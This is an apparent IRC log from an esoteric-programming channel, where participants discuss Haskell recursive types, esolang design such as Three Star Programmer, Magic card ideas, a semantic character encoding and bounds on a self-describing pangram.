19:41:30 <ais523> (that one can be added easily enough, but other operations are awkward)
19:42:50 <hppavilion[1]> perhaps f**g is equal to f composed with itself g(1) times?
19:43:16 <ais523> what if g(1) isn't an integer?
19:43:24 <ais523> what if g doesn't even take integer arguments?
19:44:06 <shachaf> Have you seen the Haskell type "Hyper a b = Hyper b a -> b"?
19:44:14 <shachaf> I.e. Hyper a b = (Hyper a b -> a) -> b
19:44:24 <shachaf> It's interesting because it can exist in Haskell but not in set theory.
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19:45:01 <shachaf> Apparently Hyper Bool Bool ~~ Nat, i.e. the naturals are isomorphic to their own double powerset.
19:45:12 <ais523> shachaf: one of your sets of as and bs is backwards, which?
19:45:16 <ais523> (as in, your two lines don't match)
19:45:42 <Taneb> ais523, the second line is double-backwards
19:45:44 <shachaf> Hyper a b = Hyper b a -> b = (Hyper a b -> a) -> b
19:45:59 <ais523> second line is iterated
19:46:30 <ais523> are the reals isomorphic to their own powerset? IIRC yes?
19:46:45 <shachaf> Nothing is isomorphic to its own powerset in set theory.
19:46:46 <int-e> newtype Foo = Foo (Foo -> Foo) is also fun
19:47:01 <shachaf> int-e: That uses negative recursion, though.
19:47:10 <shachaf> Well, I guess Hyper does too.
19:47:20 <shachaf> I was just thinking that it preserves variances.
19:47:21 <int-e> shachaf: yes, but it's still fine in Haskell, and it's inhabited nevertheless
19:47:37 <ais523> you can merge an countable number of reals into one real
19:47:42 <ais523> but you can't merge an uncountable number of reals into one real
19:48:28 <b_jonas> um, is that certain? how do you prove that?
19:48:32 <int-e> shachaf: yeah Hyper is a proper bifunctor
19:48:42 <b_jonas> I haven't heared of that theorem.
19:48:50 <shachaf> Well, it's a bifunctor, but not an instance of the Haskell class Bifunctor.
19:48:58 <b_jonas> I know you can't merge a continuum many reals to a real of course.
19:49:24 <zzo38> I think I read somewhere about "Honalee algorithm" which can generate the parser for LR(anything)
19:49:51 <b_jonas> I have a crazy card idea for you.
19:50:33 <int-e> shachaf: The Foo thing is basically what you need for untyped lambda calculus; you can have abs :: (Foo -> Foo) -> Foo; abs = Foo, and app :: Foo -> Foo -> Foo; app (Foo f) x = f x, and you can express closed lambda terms, say, abs (\x -> app x x)
19:51:03 <zzo38> b_jonas: What idea?
19:51:14 <b_jonas> name: Fallen Behind. mc: 1BB. type: Enchantment. text: At the beginning of each end step, destroy all permanents that have been tapped and controlled by the active player continuously since the beginning of the turn. For each permanent destroyed this way, put a 2/2 black Zombie creature token onto the battlefield.
19:51:25 <b_jonas> (only, that ability should be rephrased somehow so it's easier to read.)
19:51:32 <int-e> (using higher order abstract syntax)
19:51:36 <shachaf> int-e: Yes, and you can cause nontermination.
19:51:43 <int-e> shachaf: of course.
19:52:31 <shachaf> Anyway usually people talk about the untyped lambda calculus as a CCC with that isomorphism.
19:52:42 <b_jonas> The easiest way to use this is with sleep/thirst effects. That requires you to use an additional color, which can be blue or possible white or green.
19:52:58 <b_jonas> I tried to make this hard by requiring double black mana, so it's harder to abuse.
19:53:28 <int-e> app (abs (\x -> app x x)) (abs (\x -> app x x)) `seq` () -- *twiddles thumbs*
19:53:50 <b_jonas> There's a strange card in TSP that lets you use it in mono-black, but even then I think it's not overpwoered.
19:54:11 <int-e> Hmm, I should perhaps use an infix operator for app.
19:54:50 <shachaf> int-e: I'd guess that that causes inliner problems, like the usual definition of Y with Rec?
19:54:50 <zzo38> I think that card is OK.
19:54:53 <lambdabot> \f -> (\x -> f (outR x x)) (InR (\x -> f (outR x x)))
19:55:01 <hppavilion[1]> OK, so what would f**I be, where I is the identity function?
19:55:24 <int-e> shachaf: Probably, but I'm running it in ghci without optimization.
19:55:50 <int-e> hppavilion[1]: I is 1 as a Church numeral
19:56:05 <b_jonas> At first I tried to make an instant that _untaps_ permanents like that, but that can't work: either it's overpowered combined with the right cards, or it's so overpriced it's useless, so it doesn't encourage using it in an interesting way.
19:56:19 <shachaf> int-e: "I am 1 as a Church numeral" hth
19:56:21 <hppavilion[1]> int-e: THat's what I was thinking, but I want to allow more than just church numerals
19:56:32 <int-e> shachaf: it didn't
19:57:01 <b_jonas> But destroying it makes sense in black, because (1) black can destroy tapped creatures anyway, although this one also destroys artifacts, (2) doesn't let you abuse cards where "doesn't untap" is a drawback.
19:57:12 <b_jonas> And black likes to make zombies this way.
19:57:41 <b_jonas> It still mustn't be too cheap because then you could get a lot of zombies for cheap.
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19:59:07 <b_jonas> By the way, what do people informally call "doesn't untap during its controller's untap step" these days? Is it thirst, or sleep?
19:59:28 <int-e> . o O ( cumulative upkeep: sacrifice a zombie )
20:01:18 <b_jonas> If you are really black, you can use it on your own permanents that have a "doesn't untap" drawback, such as tempest dual lands or Giant Oyster.
20:02:58 <b_jonas> zzo38: do you know which strange black card from TSP lets you use this in a mono-black deck? although still not in a way that's overpowered.
20:03:00 <zzo38> Yes, it has many of those kind of uses; it works on any player's permanents whether you or opponent
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20:03:28 <zzo38> b_jonas: I don't know, but I will try to look
20:03:30 <b_jonas> Yes, it deliberately kills your own stuff, that just makes it blacker.
20:05:04 <int-e> . o O ( The gathering channel )
20:05:08 <b_jonas> int-e: why bother? the Stasis already has a cumulative upkeep. Winter Orb doesn't
20:05:26 <b_jonas> Hmm, Winter Orb actually might be somewhat crazy with this.
20:05:54 <b_jonas> It will kill the opponent's lands in a completely one-sided way.
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20:06:34 <shachaf> "Cumulative upkeep: Put an age counter on this permanent."
20:07:12 <b_jonas> Still, that would require you to assemble a 3-combo, with 2 cards very specific, and spend 7 (or maybe 6) mana on it, so in a format with Winter Orb it's probably easily ok to destroy all lands of the opponent for that price.
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20:08:09 <int-e> shachaf: card name: methuselah
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20:09:07 <b_jonas> Heck, I think if you're playing Legacy and spend 6 mana on those 3 cards to destroy all but one of the opponent's lands, then the opponent will calmly play a second land next turn and kill you and think you were going easy on him.
20:09:31 <b_jonas> Or is it only Vintage that's so crazy?
20:10:41 <b_jonas> I mean, Winter Orb already denies the opponent the use of those lands, so destroying them isn't too much extra.
20:10:54 <zzo38> I found Mana Skimmer in Time Spiral
20:18:50 <hppavilion[1]> What kinds of weird mathematical objects could we have?
20:19:39 <b_jonas> ais523: maybe the technique where (I modify the grammar by splitting and deleting rules, prove that everything accepted by the new grammar is accepted by the original with the same semantics, and the modified grammar is ayacc unambiguous) covers enough that I could use it for enough cases,
20:20:12 <b_jonas> in which case maybe I should write a preprocessor that helps verify the modification by generating the two grammars from a common input.
20:20:19 <b_jonas> I'll have to think about how much this covers.
20:25:57 <b_jonas> ais523: Ok, this gives me a lot to think about. Thanks for being a teddy bear for this, and good night.
20:29:50 <hppavilion[1]> Perhaps ≔ is assignment and ≡ is reactive assignment?
20:46:53 <zzo38> I would want to see a SQLite extension to access Gatherer, and I want a filterable "last updated time" field to be added. Such a field makes it easy to make backups
20:48:07 <zzo38> However, I think the virtual table capabilities of SQLite are currently too weak for some purposes.
20:51:30 <ais523> hppavilion[1]: with two inputs?
20:51:46 <ais523> you have nine possible combinations of trits coming in on the inputs, each of which can produce one of three outputs
20:52:01 <hppavilion[1]> OK, that should be enough for me to figure it out xD
20:52:02 <ais523> giving you 9**3 possibilities
20:52:20 <ais523> although it's too late for me to do maths in my head really
20:52:28 <ais523> (at least, and be confident about being correct)
20:53:19 <hppavilion[1]> ais523: Have any ideas about what I should do for esonums?
20:53:41 <ais523> hppavilion[1]: my creative process for esolangs is very different from yours
20:54:01 <ais523> you think "I need an esoteric version of «somethign I already know»", look for something similar, move on
20:54:20 <ais523> I think along the lines of "here are some interesting primitives, how much can I do with /just/ those"?
20:54:27 <ais523> then try to take the language to its logical conclusion
20:54:37 <ais523> something like http://esolangs.org/wiki/Snowflake is another example along similar lines
20:54:46 <ais523> the original concept was a language that changes over time as you run programs in it
20:55:11 <ais523> then I realized it needed to be reversible, because otherwise you couldn't guarantee that your program could keep running forever as the language might lose computational power over time
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20:55:48 <Taneb> A lot of my ideas are "What if THIS IDEA was SLIGHTLY DIFFERENT"
20:56:00 <ais523> infinite loops aren't reverisble, but I needed a lot of power in one "main loop" iteration, because otherwise you couldn't "keep up" with changes to the language
20:56:08 <ais523> so then I ended up having to add SIMD parallelism
20:56:15 <quintopia> Taneb: me too. i'm already ready to invent another auberginoid :P
20:56:25 <Taneb> Like, Fueue started as a queue-based Underload, Real Fast Nora's Hair Salon 3: Shear Disaster Download started as functional BIT
20:56:34 <ais523> and then it was a case of finding primitives that fit into this kind of highly specific paradigm
20:57:48 <quintopia> i need to try that method at some poinnt
20:57:55 <hppavilion[1]> What I want to do is create something similar to numbers, but entirely different. Then, I want to start taking stuff from different branches of mathematics (like order theory) and roll it in
20:58:15 <ais523> hppavilion[1]: IMO an esolang is a failure if the spec has to assume the existence of numbers to work
20:58:23 <quintopia> mine tend to be like "here's a list of three or four goals to achieve...fill in the details"
20:58:25 <ais523> ideally you should be able to implement them in terms of something else
20:58:55 <hppavilion[1]> ais523: Mine isn't so much an esolang as the mathematics of aliens
20:59:00 <ais523> actually Three Star Programmer wasn't so hard to work out; the key idea was to never read from odd-numbered tape elements but only beyond a certain point
20:59:07 <quintopia> ais523: this is why you're the guy that did the thing once.
20:59:29 <ais523> quintopia: that was more being an undergraduate with a ton of spare time during the summer holidays
20:59:43 <ais523> they were surprised an undergraduate did it, my reaction was more "well who else would waste twomonths on this?"
21:02:45 <quintopia> ais523: its not enough to have the time. you also have to be comfortable analyzing computational models that don't involve numbers as primitives
21:03:04 <hppavilion[1]> Tree order theory? One where numbers are on a tree instead of a line?
21:03:38 <ais523> quintopia: why would having numbers as primitives even help? :-D
21:04:12 <quintopia> ais523: it sure seems to help the thousands of CS undergrads that do pretty much all their algorithmic work with them
21:04:32 <ais523> most algorithms I know either don't use numbers, or use them to keep track of which order things are in
21:04:43 <ais523> there are a few exceptions where you have to count something
21:05:22 <quintopia> ais523: keeping track of the order things are in, or even just doing basic arithmetic, is actually quite common!
21:05:41 <quintopia> ais523: but speaking of languages without numbers, i finally got around to implementing Platts last night
21:05:43 <ais523> right, but keeping track of an order can be done with a ton of primitives
21:05:52 <ais523> you don't have to use numbers, they're just normally convenient
21:06:52 <quintopia> then i will rephrase: you ave to have overwhelming amounts of time to deal with the added inconvenience of a lack of numbers, and also not be supremely annoyed by that lack
21:07:20 <quintopia> (try to put yourself in the shoes of the average joe for a moment)
21:08:20 <ais523> quintopia: well, suppose you start by trying to implement cyclic tag
21:08:23 <ais523> which is an excellent default
21:08:34 <ais523> how do numbers help? the language doesn't have much to do with numbers in the first place
21:08:50 <ais523> pointers help, and some languages let you use numbers as pointers
21:09:13 <ais523> but it's only coincidence that you're using numbers for that rather than, say, chains of tape elements in brainfuck
21:10:23 <quintopia> see already you're not putting yourself in the shoes of the average joe. no average joe would say "cyclic tag is an excellent default". The average joe would say "Java" or "Python" or "C#" or "C++"
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21:12:25 <mauris> the average joe would go "wow jeez tapes and symbols" shortly but adapt to the simplistic nature of things pretty easily, i feel
21:12:53 <mauris> (and then give up and say "this thing is way, way too simple to compute anything" instead of persevering and proving the thingy)
21:13:07 <quintopia> the average joe would say "wow jeezz tapes and symbols. weird, but i have a project due, so i'll just forget it"
21:13:18 <mauris> quintopia: yeah, exactly
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21:14:15 <ais523> quintopia: well you wouldn't expect someone to solve the problem if they were starting from a completely inappropriate starting point
21:14:25 <ais523> although, I started by trying to prove it Turing-incomplete
21:14:41 <ais523> and then analysed why the proofs weren't working to figure out what approach to take
21:15:22 <mauris> quintopia: but people in my "computability + automata + turing machines + whatever" course seemed not immediately frustrated with how simple automata/TMs are, when having to design them; then again, the things they had to design or the properties they had to reason about were much simpler
21:16:15 <hppavilion[1]> Relatively ordered set? One where some objects have positions relative to others, but there's no overarching order (or if there is, it's expressed by rules)
21:16:40 <ais523> well esodesign and esoprogramming aren't quite the same skill, although there's a lot of overlap
21:16:41 <mauris> hppavilion[1]: that's a poset! https://en.wikipedia.org/wiki/Partially_ordered_set
21:17:10 <ais523> esodesign's a bit like game design; you're making a puzzle to solve, and need to understand how people will/can go about solving it
21:17:26 <ais523> the difference is that it's up to you how easy or difficult to make it, it's OK if you don't expect the puzzle to be solved ever
21:17:39 <ais523> because there's no implicit "this is solvable" warranty
21:18:17 <mauris> i've always been bad at coming up with the "puzzles" because i'm also really bad at solving them
21:19:09 <ais523> hmm, "start with the solution and work backwards" is a common advice for that in game design, but it doesn't really work with esolangs
21:19:14 <mauris> i suppose you have to aim nicely between "trivially powerful" and "too simple to do anything", but from my perspective, everything is either one of those things
21:19:39 <hppavilion[1]> I worked on Arithmetic of the Functia and it was really fun, so now I'm looking for something fun like that to work on. That's why I attempted to make Esonums
21:19:42 <mauris> i dunno, i feel like lots of esolangs might have started as: "i want a programming language in which programming in it involves..."
21:21:44 <mauris> the "solution" is that technique. and a well-designed esolang obscures this technique to make itself look useless
21:21:48 <mauris> ais523: have you seen http://codegolf.stackexchange.com/questions/61804/create-a-programming-language-that-only-appears-to-be-unusable ?
21:22:13 <ais523> no, I don't follow PPCG, and generally rely on people linking it to me
21:22:25 <ais523> some of the threads there are brilliant and really worth reading but most are just bad
21:22:35 <ais523> so thanks for linking me to the interesting ones :-)
21:22:38 <mauris> they gamified esolang creation in exactly the way you described!
21:22:57 <ais523> indeed, although their languages also have to take input
21:23:01 <quintopia> there's also a thread about "create an esolang that's good at matching 2D patterns"
21:23:04 <mauris> i had a good idea, but no time to implement it
21:25:00 <quintopia> there's also a thread on meta that seems targeted toward pretty much replicatng the Language list
21:25:34 <ais523> heh, I noticed that the first one was based on some sort of cube with partial rotations (Rubik's cube style) before the author mentioned it
21:25:41 <quintopia> which functional language has the shortest procedural interpreter?
21:25:56 <hppavilion[1]> I can't do Functia Matrices because I don't yet have function addition
21:27:32 <ais523> quintopia: that's one well-definition
21:28:07 <ais523> the Underlambda definition is along the lines of (f+g)(x) = f(x) composed with g(x)
21:28:17 <hppavilion[1]> Oh, it looks like that's poplular, but that won't work
21:28:24 <ais523> although it's more precise because it allows for the possibility that f and g might take weird numbers of arguments
21:28:48 <hppavilion[1]> ais523: Should I use underlambda's definition? That might be good
21:29:22 <ais523> hppavilion[1]: well in Underlamda, function application is exponentiation, and composition is multiplication, so we have x**(f+g) = x**f * x**g
21:29:37 <ais523> the definition of addition follows logically from that of multiplication and exponentiation
21:29:49 <ais523> (which is the reverse of the way most people define it, but…)
21:30:42 <quintopia> ais523: he was using composition=multiplication before
21:31:07 <ais523> quintopia: I thought he was using application=multiplication?
21:31:34 <quintopia> maybe i'm confused of the differene
21:31:35 <ais523> or, hmm, I don't actually know what pronoun to use for hppavilion[1], was juts copying yours
21:34:21 <zzo38> I have made computer puzzle games that are programmed to start with final position and work backward to create the puzzle by using seeded pseudorandom numbers
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21:36:16 <ais523> haha, one of them is actually a game and not a language, if you win the game then the interpreter calculates and prints the expected output itself
21:38:32 <ais523> indeed, it was mostly a protest against a mistake in the challenge spec
21:38:41 <ais523> I wonder if Three Star Programmer predates or postdates that contest?
21:39:02 <ais523> certainly, a version that took input would postdate because I haven't figured out how to do input in a way that remotely fits the spirit of the language yet
21:41:33 <ais523> quintopia: in what, mauris's link? third-largest number in the input
21:44:42 <quintopia> I should enter Purple in the contest
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22:09:22 <HackEgo> [wiki] [[TOGA computer]] http://esolangs.org/w/index.php?diff=45610&oldid=39598 * Ais523 * (-33) you can't call something TC if it only has finite memory, and this definitely only has finite memory
22:11:29 <HackEgo> [wiki] [[OISC]] http://esolangs.org/w/index.php?diff=45611&oldid=45317 * Ais523 * (+1783) /* List of OISCs */ an OISC can be described via its instruction + its memory mapping and addressing behaviour, so may as well put that information here rather than forcing people to read the individual pages
22:11:39 <ais523> there, been meaning to do that for a few days now
22:11:51 <ais523> two of them are redlinks so I couldn't check
22:12:13 <ais523> also it surprises me how simple Three Star Programmer is compared to the others
22:12:16 <ais523> I thought it'd be more complex
22:13:08 <ais523> it certainly doesn't work much like the others
22:13:23 <ais523> e.g. only finitely many addresses can be read infinitely many times, the rest of memory can only be read finitely many times each
22:16:40 <ais523> actually I'm currently trying to work out how to write a hello world in Three Star Programmer that isn't obnoxiously long
22:17:11 <ais523> I suspect I'll have to use multiple nested loops in order to avoid having to unary the entire ASCII space for every character
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22:23:54 <ais523> btw, my notes on compiling cyclic tag to three star programmer are here: http://nethack4.org/pastebin/cytag-to-3*.pl
22:24:03 <ais523> it should be pretty easy to write the compiler based on that
22:24:09 <ais523> /testing/ it is another matter, though
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22:27:34 <ais523> you'd want a better 3* interpreter, and probably some way to get the construction to produce output (which makes it substantially more complex)
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23:47:58 <hppavilion[1]> "A character encoding in every way worse than unicode, except for a few niche uses"
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23:52:43 <hppavilion[1]> It wouldn't have the linguistic benefits (e.g. supporting every language ever) of unicode, but it would have some benefits for characters like mathematical operators and arrows
23:53:06 <hppavilion[1]> Specifically, that they're generated semantically instead of being a big lookup table
23:54:58 <hppavilion[1]> For example, if there were a typable language for generating SCEML documents, you could type \(COMB:SUBSET, RING) to generate the open subset operator
23:55:14 <hppavilion[1]> And that would become a list of codepoints with a semantic meaning
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00:16:12 <hppavilion[1]> It'd be funny if, in mathematics, we preceeded all exact numbers with "≁" for "not approximately"
00:17:39 <oerjan> i think that symbol generally goes the other way, though.
00:22:37 <Taneb> Approximately not equla to
00:22:59 <Jafet> Mathematica prefixes high-precision decimal literals with `.
00:25:33 <Jafet> Taneb must've invented those.
00:25:48 <Jafet> CReal has an approximately-not-equal-to operator.
00:26:07 <Jafet> > 1 == (1 + 10^(-1000) :: CReal)
00:26:16 <Jafet> > 1 == (1 + 10**(-1000) :: CReal)
00:26:44 <hppavilion[1]> Jafet: I totally wasn't planning on implementing that into Kastor
00:28:29 <lambdabot> where g x n | even n = g (x*x) (n `quot` 2)
00:28:33 <lambdabot> _ ^ _ = error "Prelude.^: negative exponent"
00:32:15 <lambdabot> (Integral b, Num a) => a -> b -> a
00:32:29 <oerjan> hppavilion[1]: that type means a doesn't need to have division
00:33:03 <Taneb> Haskell has at least three exponentiation operators
00:33:08 <lambdabot> (Fractional a, Integral b) => a -> b -> a
00:33:59 <shachaf> <shachaf> I,I newtype Foo a = Foo { unFoo :: a }; instance Monoid a => Num (Foo a) where Foo x * Foo y = Foo (x <> y); fromInteger 1 = Foo mempty; timesN n = unFoo . (^ n) . Foo
00:34:36 <Jafet> Num from the revelation
00:35:55 * oerjan thinks base should have the Monoid equivalent of (^) :(
00:37:24 <Jafet> @typo (mconcat.).replicate
00:37:40 <oerjan> doesn't count, it doesn't do binary bisection
00:38:17 <shachaf> oerjan: it does with just a small Num instance hth
00:39:07 <oerjan> ooh you were doing it in that direction
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01:20:40 <hppavilion[1]> oerjan: I think I'm going to make a character encoding. A /semantic/ character encoding
01:22:10 <lifthrasiir> hppavilion[1]: https://tools.ietf.org/html/rfc5242 ?
01:28:00 <hppavilion[1]> lifthrasiir: I know about Unicode (and I assume that that document is related)
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01:29:59 <lifthrasiir> hppavilion[1]: probably you should look at the date first :)
01:30:26 <lifthrasiir> it's an "alternative" to Unicode that is exclusively described as a series of combining glyphs
01:30:46 <lifthrasiir> (similar to Unicode's real system, Ideographic Description Sequence, but extended to *every* letter)
01:31:40 <\oren\> that's not semantic though
01:32:13 <\oren\> semantic would encode "cat" and "猫" to the same code
01:33:15 <\oren\> right. as well as "gato" and "chat" and "catus"
01:33:16 <shachaf> what would it encode "pooch" to?
01:33:25 <hppavilion[1]> lifthrasiir: What I'm making is a sort of hybrid of character encoding and markup language
01:33:49 <\oren\> shachaf: depends what pooch means
01:34:11 <hppavilion[1]> Basically, if there were a language that generates documents in this encoding, you could type \(COMB:SUBSET,RING) to get the "open subset" operator
01:34:36 <\oren\> that's not semantic, it's exactly opposite
01:34:48 <lifthrasiir> the (fictitious) modernized TeX comes to mind.
01:35:05 <\oren\> you're encoding form, not substance
01:35:26 <hppavilion[1]> The idea would be that character appearance is defined with a process of combining diacritics and variables, instead of just text
01:35:46 <hppavilion[1]> So you could also do things like declare that characters have arcs between each other
01:36:07 <hppavilion[1]> Arrow characters actually work: any arrow is possible
01:37:28 <hppavilion[1]> So you aren't just limited to, for example, dashed arrows only come in up/down/left/right
01:39:37 <hppavilion[1]> Because you just combine the dashed arrow and diagonal arrow characters in in a COMBINE block, which is delimited by control bracktets and starts with "COMB" then the control separator
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03:14:10 <hppavilion[1]> I thought of a hyperoperational version of factorial
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03:16:56 <hppavilion[1]> Is functional factorial you asking me to implement factorial into the Arithmetic of the Functia (which is probably actually a calculus)?
03:19:29 <hppavilion[1]> Basically, n⥉ (where ⥉ is the hyperoperational factorial operator) is equal to H[n](n, H[n-1](n-1, H[n-2](n-2, ...H[1](1, 0)...))
03:22:24 <hppavilion[1]> To do so, I would need to define a + and - operation such that, if I do f-I enough times, then eventually it is equal to I. Is that possible?
03:22:49 <hppavilion[1]> Or a large subset of functions which I could reasonably constrain myself to?
03:23:44 <hppavilion[1]> AND preferably consistent with normal addition and subtraction for the real number subset of functions
03:23:58 <lifthrasiir> FireFly: I've updated my font sample to support a realtime sample rendering of any given text
03:25:58 <hppavilion[1]> quintopia: It might not be possible for non-well-ordered sets, such as the set 𝕗 (which is a set I'm using)
03:26:30 <hppavilion[1]> (which isn't even partially ordered except for a subset of its arguments)
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05:36:28 <HackEgo> [wiki] [[UberGenes]] http://esolangs.org/w/index.php?diff=45612&oldid=45579 * Quintopia * (-7) /* Python 2 */ furthergolfed
05:36:52 <HackEgo> [wiki] [[UberGenes]] http://esolangs.org/w/index.php?diff=45613&oldid=45612 * Quintopia * (+0) /* Python 2 */
05:43:21 <oerjan> @tell FreeFull <FreeFull> I wonder how much finangling was needed to produce this sentence <-- i guess you could do some kind of estimation, pruning and final search... i wonder if using "&" rather than "and" at the end was necessary.
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06:07:50 <oerjan> as a first step, find some hard limit on no. of letters in english numeral / number represented, for numbers large enough
06:08:19 <oerjan> 1/27 should be enough for this
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06:10:50 <oerjan> seven hundred and seventy quadrillions
06:11:17 <oerjan> (777 gives the longest prefix)
06:11:27 <get52> who are you talking too
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06:11:57 <oerjan> myself, about FreeFull's self-describing pangram
06:12:07 <oerjan> <FreeFull> "This pangram contains four As, one B, two Cs, one D, thirty Es, six Fs, five Gs, seven Hs, eleven Is, one J, one K, two Ls, two Ms, eighteen Ns, fifteen Os, two Ps, one Q, five Rs, twenty-seven Ss, eighteen Ts, two Us, seven Vs, eight Ws, two Xs, three Ys, & one Z."
06:12:17 <get52> I wasn't there for that
06:12:25 <get52> thought I was missing out on something
06:12:35 <oerjan> actually i was just reading it in the logs
06:13:04 <oerjan> i'm trying to convince myself you can never get numbers above hundred
06:13:56 <oerjan> because the names of numbers are just not long enough.
06:14:39 <\oren\> what if you spell out the letter names like gee bee cee
06:14:42 <oerjan> > length "sevenhundredandseventythousand"
06:14:59 <oerjan> \oren\: i do not think that matters.
06:15:05 <\oren\> you might be able to get 100 e's
06:15:18 <HackEgo> [wiki] [[UberGenes]] http://esolangs.org/w/index.php?diff=45614&oldid=45613 * Quintopia * (+244) Implementation: bugfix: crash on EOF
06:15:26 <oerjan> ok. but definitely not more than a thousand.
06:16:26 <oerjan> it's not really about sqrt
06:16:38 <oerjan> there are 26 letters, so at most 26 numerals
06:18:01 <oerjan> a numeral smaller than a million never has more than 30 letters.
06:18:45 <oerjan> and for those larger, the length still never gets above a small fraction of the number itself
06:20:58 <oerjan> that's not quite right. forgot a part.
06:21:58 <oerjan> > length "sevenhundredandseventyseventhousandsevenhundredandseventyseven"
06:23:07 <oerjan> > length "sevenhundredandseventyseventhousand"
06:23:35 <oerjan> but multiplying by 1000 gets you only 35-40 more letters.
06:30:00 <oerjan> > length . group $ sort "sevenhundredandseventyseventhousand"
06:30:15 <oerjan> > map length . group $ sort "sevenhundredandseventyseventhousand"
06:30:18 <lambdabot> [2,4,7,2,6,1,1,4,2,2,3,1]
06:37:48 <HackEgo> [wiki] [[UberGenes]] http://esolangs.org/w/index.php?diff=45615&oldid=45614 * Quintopia * (+229) new features < and >
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06:41:07 <Jafet> Unicode pangrams imo
06:43:04 <oerjan> lambdabot knows its arithmetic
06:43:42 <get52> > 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999*999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
06:43:44 <lambdabot> 9999999999999999999999999999999999999999999999999999999999999999999999999999...
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06:45:50 <lambdabot> [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1...
06:45:57 <oerjan> > length "seventhousandsevenhundredandseventyseven"
06:46:14 <get52> > length "wew lad"
06:46:33 <oerjan> hm just length is not enough to prove it doesn't exceed a thousand
06:47:17 <myname> what are you trying to do
06:48:14 <get52> > length "my penis"
06:48:20 <oerjan> bounding the length of a pangram
06:48:32 <oerjan> <FreeFull> "This pangram contains four As, one B, two Cs, one D, thirty Es, six Fs, five Gs, seven Hs, eleven Is, one J, one K, two Ls, two Ms, eighteen Ns, fifteen Os, two Ps, one Q, five Rs, twenty-seven Ss, eighteen Ts, two Us, seven Vs, eight Ws, two Xs, three Ys, & one Z."
06:48:36 <get52> > length "my penis" in inches
06:48:38 <lambdabot> <hint>:1:19: parse error on input ‘in’
06:48:55 <oerjan> get52: lambdabot is not google hth
06:49:21 <zzo38> get52: Try Wolfram|Alpha, it still might not know. Or better, use a ruler
06:49:47 <zzo38> (Regardless whether you want the length of the string or of your penis)
06:50:01 <zzo38> (Although a length of a string of text in inches would depend on the font, isn't it?)
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06:51:37 <zzo38> The lambdabot is run the Haskell code; you can learn Haskell programming and then you can understand its working.
06:51:59 <get52> haskell isnt functional tbh fam
06:52:14 <hppavilion[1]> I thought that was added. Does it get deleted automaticalyl?
06:52:50 <zzo38> get52: Can you elaborate on that? I do not quite understand.
06:53:13 <get52> well really it's so far away from common lisp that it's basically object oreiented
06:53:22 <oerjan> hppavilion[1]: it gets deleted when someone runs the @undefine command.
06:53:38 <lambdabot> uptime: 10d 1h 1m 8s, longest uptime: 1m 10d 23h 44m 29s
06:53:38 <hppavilion[1]> get52: Common lisp isn't the definition of "Functional"
06:53:59 <oerjan> or when it quits i assume, but it hasn't done that
06:53:59 <get52> get your head out of your ass
06:54:03 <hppavilion[1]> A language can be entirely unlike common lisp but still functional
06:54:19 <get52> that's not true tho
06:54:22 <oerjan> get52: please be polite
06:54:30 <get52> it's object oriented
06:54:30 <zzo38> Haskell is functional and pure, Lisp is functional and impure
06:54:47 -!- ChanServ has set channel mode: +o oerjan.
06:54:54 <oerjan> get52: i said, please be polit.
06:55:27 <hppavilion[1]> get52: Surreal numbers. w is a surrogate little omega
06:55:35 <get52> oh I thought you were censoring yourself
06:55:39 <zzo38> I think it is not object oriented, although even if it is, it doesn't change it.
06:55:45 <get52> really i'm just fucking around
06:55:51 <get52> it's not object orient of course not
06:56:29 <get52> but yeah i was just playing around lol
06:56:58 <get52> I came from the wiki btw
06:57:01 <zzo38> It is possible to be object oriented and functional, anyways.
06:57:26 <get52> you guys seem quite a bit more knowledgeable then me heh
06:57:31 <lambdabot> <no location info>: not an expression: ‘let (\\\\) a b = a + (1/b)’
06:58:16 -!- oerjan has set channel mode: -o oerjan.
06:58:20 <lambdabot> <hint>:1:12: parse error on input ‘=’
06:58:29 <lambdabot> <hint>:1:8: parse error on input ‘=’
06:59:03 <myname> haskell is so unlike java, it can't be oop
06:59:29 <get52> java is p gross tbh
06:59:32 <hppavilion[1]> get52: He was doing what you did earlier. It was funny
06:59:52 <oerjan> you can do oop in haskell but you'll get looked at weirdly
07:00:02 <get52> that sounds hilarious
07:01:59 <get52> i dont even know what i'm doing tbh
07:02:12 <zzo38> Do you like TeX? It is also so unlike Java..............
07:02:28 <get52> ur mom is unlike java :^)
07:02:35 <get52> because she's great
07:03:07 <lambdabot> Not in scope: data constructor ‘:=’
07:03:07 <lambdabot> ‘:+’ (imported from Data.Complex),
07:05:42 <lambdabot> Could not deduce (Integral (Complex a0)) arising from a use of ‘^’
07:05:42 <lambdabot> bound by the inferred type of it :: Num a => a at <interactive>:1:1
07:05:54 <lambdabot> 0.7692389013639721 :+ 0.6389612763136348
07:06:34 <get52> because lambdabot is running python
07:06:58 <lambdabot> Perhaps you meant ‘chr’ (imported from Data.Char)
07:07:24 <oerjan> nah, haskell just somehow chose the same names (Pascal used those too i think)
07:07:50 <oerjan> i was going to say they're from Pascal but someone who knows Algol is just going to one-up me
07:08:28 <hppavilion[1]> I assumed so, though C probably got them from somewhere else. Like Pascal.
07:08:28 * oerjan doesn't know C a third as well haskell these days.
07:10:32 <oerjan> hppavilion[1]: what's unichr? chr already does unicode.
07:10:41 <get52> what is morphic character encoding?
07:10:46 <get52> forgive me i'm new haha
07:10:49 <lambdabot> Couldn't match type ‘Char’ with ‘[Char]’
07:11:06 <hppavilion[1]> get52: It's a character enconing that's more than a lookup table
07:11:31 <get52> i'm making an esoteric lang atm
07:11:34 <get52> that's why i came here lol
07:11:37 <hppavilion[1]> Basically, you can do \(COM:SUBSET, RING) to get the open subset operator
07:11:50 <oerjan> > [chr 955] -- this is shown as an escaped string, therefore only ASCII
07:12:02 <hppavilion[1]> (A marriage between a negative number of people is... UNNATURAL! LULZ!)
07:12:03 <get52> addition, display, input
07:12:15 <get52> you don't need subtraction because it resets at 251
07:13:01 <get52> was afraid I was doing exactly the same thing
07:13:07 <oerjan> hppavilion[1]: http://www.mezzacotta.net/dinosaur/?comic=252
07:13:26 <oerjan> (from DMM's dinosaur comics fanfic)
07:14:50 <get52> also the commands are pretty much brainf*cks
07:15:03 <myname> get52: you'd need at least some kind of jump to be close to interesting
07:15:05 <get52> also not sure if I'm allowed to say f*ck here that's the only reason I censored myself
07:15:14 <get52> tbh I understand myname
07:15:28 <get52> sry for bothering u fam
